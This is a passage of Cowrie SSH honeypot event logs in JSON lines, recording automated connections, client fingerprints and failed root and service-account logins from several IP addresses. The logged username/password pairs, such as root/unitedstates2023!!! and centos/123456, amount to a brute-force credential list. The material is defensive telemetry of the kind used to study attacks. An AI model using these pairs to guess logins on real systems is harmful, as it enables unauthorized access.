v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:23.861282Z","src_ip":"110.49.6.37","session":"f44d2bdc3247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023!!!","message":"login attempt [root/unitedstates2023!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:24.646245Z","src_ip":"110.49.6.37","session":"f44d2bdc3247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":53078,"dst_ip":"10.17.0.5","dst_port":22,"session":"7760f69442d8","protocol":"ssh","message":"New connection: 5.196.136.131:53078 (10.17.0.5:22) [session: 7760f69442d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:25.619087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:25.622410Z","src_ip":"5.196.136.131","session":"7760f69442d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:25.703215Z","src_ip":"5.196.136.131","session":"7760f69442d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:25.909361Z","src_ip":"110.49.6.37","session":"f44d2bdc3247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:25.956891Z","src_ip":"5.196.136.131","session":"7760f69442d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:27.041836Z","src_ip":"5.196.136.131","session":"7760f69442d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":58160,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc096bc380cb","protocol":"ssh","message":"New connection: 5.196.136.131:58160 (10.17.0.5:22) [session: fc096bc380cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:29.995073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:30.004921Z","src_ip":"5.196.136.131","session":"fc096bc380cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:30.085875Z","src_ip":"5.196.136.131","session":"fc096bc380cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:30.330793Z","src_ip":"5.196.136.131","session":"fc096bc380cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":8808,"dst_ip":"159.203.135.109","dst_port":22,"session":"aee2cec14702","protocol":"ssh","message":"New connection: 178.128.39.166:8808 (159.203.135.109:22) [session: aee2cec14702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:31.075515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:31.089731Z","src_ip":"178.128.39.166","session":"aee2cec14702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:31.184849Z","src_ip":"178.128.39.166","session":"aee2cec14702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:31.410862Z","src_ip":"5.196.136.131","session":"fc096bc380cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:31.677052Z","src_ip":"178.128.39.166","session":"aee2cec14702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:32.784433Z","src_ip":"178.128.39.166","session":"aee2cec14702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e4fae5831ec","protocol":"ssh","message":"New connection: 5.196.136.131:45780 (10.17.0.5:22) [session: 5e4fae5831ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:34.415144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:34.418592Z","src_ip":"5.196.136.131","session":"5e4fae5831ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:34.500011Z","src_ip":"5.196.136.131","session":"5e4fae5831ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:34.747639Z","src_ip":"5.196.136.131","session":"5e4fae5831ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:35.831081Z","src_ip":"5.196.136.131","session":"5e4fae5831ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":59579,"dst_ip":"10.17.0.5","dst_port":22,"session":"8680013c8201","protocol":"ssh","message":"New connection: 5.196.136.131:59579 (10.17.0.5:22) [session: 8680013c8201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:38.857711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:38.861390Z","src_ip":"5.196.136.131","session":"8680013c8201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:38.938963Z","src_ip":"5.196.136.131","session":"8680013c8201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:39.173356Z","src_ip":"5.196.136.131","session":"8680013c8201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:40.254438Z","src_ip":"5.196.136.131","session":"8680013c8201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":65118,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddaa7502b258","protocol":"ssh","message":"New connection: 5.196.136.131:65118 (10.17.0.5:22) [session: ddaa7502b258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:43.364995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:43.368682Z","src_ip":"5.196.136.131","session":"ddaa7502b258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:43.443046Z","src_ip":"5.196.136.131","session":"ddaa7502b258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:43.671510Z","src_ip":"5.196.136.131","session":"ddaa7502b258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:44.748489Z","src_ip":"5.196.136.131","session":"ddaa7502b258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":30464,"dst_ip":"10.17.0.5","dst_port":22,"session":"320aa86c3971","protocol":"ssh","message":"New connection: 5.196.136.131:30464 (10.17.0.5:22) [session: 320aa86c3971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:47.750904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:47.754233Z","src_ip":"5.196.136.131","session":"320aa86c3971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:47.830747Z","src_ip":"5.196.136.131","session":"320aa86c3971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:48.083872Z","src_ip":"5.196.136.131","session":"320aa86c3971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:49.161926Z","src_ip":"5.196.136.131","session":"320aa86c3971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.224.166","src_port":60304,"dst_ip":"10.17.0.5","dst_port":22,"session":"c38def51133d","protocol":"ssh","message":"New connection: 202.29.224.166:60304 (10.17.0.5:22) [session: c38def51133d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:49.337076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:49.341244Z","src_ip":"202.29.224.166","session":"c38def51133d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:49.584623Z","src_ip":"202.29.224.166","session":"c38def51133d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023!@#","message":"login attempt [root/unitedstates2023!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:50.328059Z","src_ip":"202.29.224.166","session":"c38def51133d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:51.579041Z","src_ip":"202.29.224.166","session":"c38def51133d","protocol":"ssh"}
